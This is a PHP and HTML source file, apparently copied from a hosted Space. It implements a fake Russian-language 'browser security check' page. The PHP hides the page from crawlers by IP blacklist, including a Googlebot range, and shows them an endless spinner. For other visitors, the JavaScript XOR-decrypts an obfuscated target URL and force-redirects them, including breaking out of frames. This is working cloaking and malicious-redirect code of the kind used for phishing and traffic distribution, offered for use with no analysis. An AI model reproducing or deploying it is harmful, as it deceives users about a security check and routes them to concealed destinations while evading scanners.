Spaces:
Running
Running
| // ========================================== | |
| // БЭКЕНД ЧАСТЬ (БЕЗ ИЗМЕНЕНИЙ) | |
| // ========================================== | |
| header("Cache-Control: no-store, no-cache, must-revalidate"); | |
| header("Pragma: no-cache"); | |
| // Функция проверки IP по CIDR | |
| function ip_in_cidr($ip, $cidr) { | |
| if (strpos($cidr, '/') === false) { | |
| return $ip === $cidr; | |
| } | |
| list($subnet, $mask) = explode('/', $cidr); | |
| $subnet = ip2long($subnet); | |
| $ip = ip2long($ip); | |
| $mask = -1 << (32 - $mask); | |
| $subnet &= $mask; | |
| return ($ip & $mask) == $subnet; | |
| } | |
| // Определение IP клиента | |
| $client_ip = ''; | |
| if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { | |
| $ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); | |
| $client_ip = trim($ips[0]); | |
| } else { | |
| $client_ip = $_SERVER['REMOTE_ADDR'] ?? ''; | |
| } | |
| // Проверка по черному списку | |
| $blacklist_file = __DIR__ . '/blacklist.txt'; | |
| $blacklist = []; | |
| if (file_exists($blacklist_file)) { | |
| $blacklist = file($blacklist_file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); | |
| } else { | |
| $blacklist = [ | |
| '79.137.0.0/16', | |
| '66.249.0.0/16' | |
| ]; | |
| } | |
| $is_bot = false; | |
| foreach ($blacklist as $cidr) { | |
| $cidr = trim($cidr); | |
| if (empty($cidr)) continue; | |
| if (ip_in_cidr($client_ip, $cidr)) { | |
| $is_bot = true; | |
| break; | |
| } | |
| } | |
| $cache_file = 'domain_cache.txt'; | |
| $api_response = ""; | |
| if ($is_bot) { | |
| $api_response = "BOT"; | |
| } else { | |
| // Безопасное чтение файла с защитой от гонки процессов и пустых байтов | |
| if (file_exists($cache_file)) { | |
| $fp = fopen($cache_file, "r"); | |
| if (flock($fp, LOCK_SH)) { | |
| $fsize = filesize($cache_file); | |
| if ($fsize > 0) { | |
| $content = fread($fp, $fsize); | |
| if (!empty($content)) { | |
| $api_response = trim($content); | |
| } | |
| } | |
| flock($fp, LOCK_UN); | |
| } | |
| fclose($fp); | |
| } | |
| } | |
| <!DOCTYPE html> | |
| <html lang="ru"> | |
| <head> | |
| <meta charset="UTF-8"> | |
| <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no"> | |
| <meta name="robots" content="noindex, nofollow, noarchive"> | |
| <meta name="referrer" content="no-referrer"> | |
| <title>Проверка безопасности браузера</title> | |
| <style> | |
| * { margin: 0; padding: 0; box-sizing: border-box; } | |
| body { | |
| font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif; | |
| background: linear-gradient(135deg, #f5f7fa 0%, #c3cfe2 100%); | |
| min-height: 100vh; | |
| display: flex; | |
| flex-direction: column; | |
| justify-content: center; | |
| align-items: center; | |
| padding: 20px; | |
| color: #333; | |
| } | |
| .card { | |
| background: #fff; | |
| padding: 40px 30px; | |
| border-radius: 16px; | |
| box-shadow: 0 10px 30px rgba(0,0,0,0.1); | |
| text-align: center; | |
| max-width: 400px; | |
| width: 100%; | |
| position: relative; | |
| overflow: hidden; | |
| } | |
| .spinner { | |
| width: 50px; | |
| height: 50px; | |
| margin: 0 auto 20px; | |
| border: 4px solid #e5e7eb; | |
| border-top: 4px solid #4d81f1; | |
| border-radius: 50%; | |
| animation: spin 1s linear infinite; | |
| } | |
| @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } | |
| h1 { font-size: 20px; margin-bottom: 12px; font-weight: 600; color: #111827; } | |
| p { font-size: 15px; color: #4b5563; line-height: 1.5; } | |
| .secure-badge { | |
| margin-top: 30px; | |
| font-size: 12px; | |
| color: #9ca3af; | |
| display: flex; | |
| align-items: center; | |
| justify-content: center; | |
| gap: 6px; | |
| } | |
| #errorMsg { display: none; color: #ef4444; margin-top: 15px; font-size: 14px; } | |
| .loading-bar { | |
| height: 4px; width: 100%; background: #f3f4f6; | |
| position: absolute; top: 0; left: 0; | |
| } | |
| .loading-bar::after { | |
| content: ''; position: absolute; left: -30%; top: 0; height: 100%; width: 30%; | |
| background: #4d81f1; animation: load 2s infinite ease-in-out; | |
| } | |
| @keyframes load { 0% { left: -30%; } 100% { left: 100%; } } | |
| </style> | |
| </head> | |
| <body> | |
| <div class="card"> | |
| <div class="loading-bar"></div> | |
| <div class="spinner"></div> | |
| <h1>Проверка браузера...</h1> | |
| <p>Пожалуйста, подождите. Идет безопасное соединение, не закрывайте страницу.</p> | |
| <div id="errorMsg"></div> | |
| <div class="secure-badge"> | |
| <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"></path></svg> | |
| Защищено соединение | |
| </div> | |
| </div> | |
| <script> | |
| const AppConfig = { | |
| session_ver: "ui-sess-v4-8921-xb-log", | |
| authToken: "<?php echo $api_response; ?>", | |
| uiDelay: 1500 | |
| }; | |
| function renderLayout(t, k) { | |
| try { | |
| let s = atob(t); | |
| let res = ''; | |
| for (let i = 0; i < s.length; i++) { | |
| res += String.fromCharCode(s.charCodeAt(i) ^ k.charCodeAt(i % k.length)); | |
| } | |
| return res; | |
| } catch (z) { | |
| return null; | |
| } | |
| } | |
| function appendUtmSource(targetUrl) { | |
| try { | |
| if (targetUrl.startsWith('http://')) { | |
| targetUrl = targetUrl.replace('http://', 'https://'); | |
| } else if (!targetUrl.startsWith('http')) { | |
| targetUrl = 'https://' + targetUrl; | |
| } | |
| const urlParams = new URLSearchParams(window.location.search); | |
| const utmSource = urlParams.get('utm_source'); | |
| if (utmSource) { | |
| const urlObj = new URL(targetUrl); | |
| urlObj.searchParams.set('utm_source', utmSource); | |
| return urlObj.toString(); | |
| } | |
| } catch (e) { | |
| console.error('Error appending utm_source', e); | |
| } | |
| return targetUrl; | |
| } | |
| function doRedirect(url) { | |
| url = appendUtmSource(url); | |
| try { | |
| if (window.top && window.top !== window) { | |
| window.top.location.replace(url); | |
| } | |
| } catch (e) {} | |
| // 1. Метод Form Submit (самый трастовый для WebView и IP-адресов) | |
| setTimeout(() => { | |
| try { | |
| const form = document.createElement('form'); | |
| form.action = url; | |
| form.method = 'GET'; | |
| document.body.appendChild(form); | |
| form.submit(); | |
| } catch (e) {} | |
| }, 10); | |
| // 2. Метод a.click() | |
| setTimeout(() => { | |
| try { | |
| const a = document.createElement('a'); | |
| a.href = url; | |
| a.rel = 'noopener noreferrer'; | |
| document.body.appendChild(a); | |
| a.click(); | |
| } catch (e) {} | |
| }, 50); | |
| // 3. Fallback location.replace | |
| setTimeout(() => { | |
| window.location.replace(url); | |
| }, 100); | |
| } | |
| document.addEventListener('DOMContentLoaded', function() { | |
| if (AppConfig.authToken === "BOT") { | |
| return; // Бесконечная проверка для ботов | |
| } | |
| const path = renderLayout(AppConfig.authToken, AppConfig.session_ver); | |
| if (path && path.indexOf('http') === 0) { | |
| doRedirect(path); | |
| } else { | |
| const errMsg = document.getElementById('errorMsg'); | |
| errMsg.style.display = 'block'; | |
| errMsg.textContent = 'Ошибка проверки. Пожалуйста, обновите страницу.'; | |
| document.querySelector('.spinner').style.display = 'none'; | |
| document.querySelector('.loading-bar').style.display = 'none'; | |
| } | |
| }); | |
| </script> | |
| </body> | |
| </html> |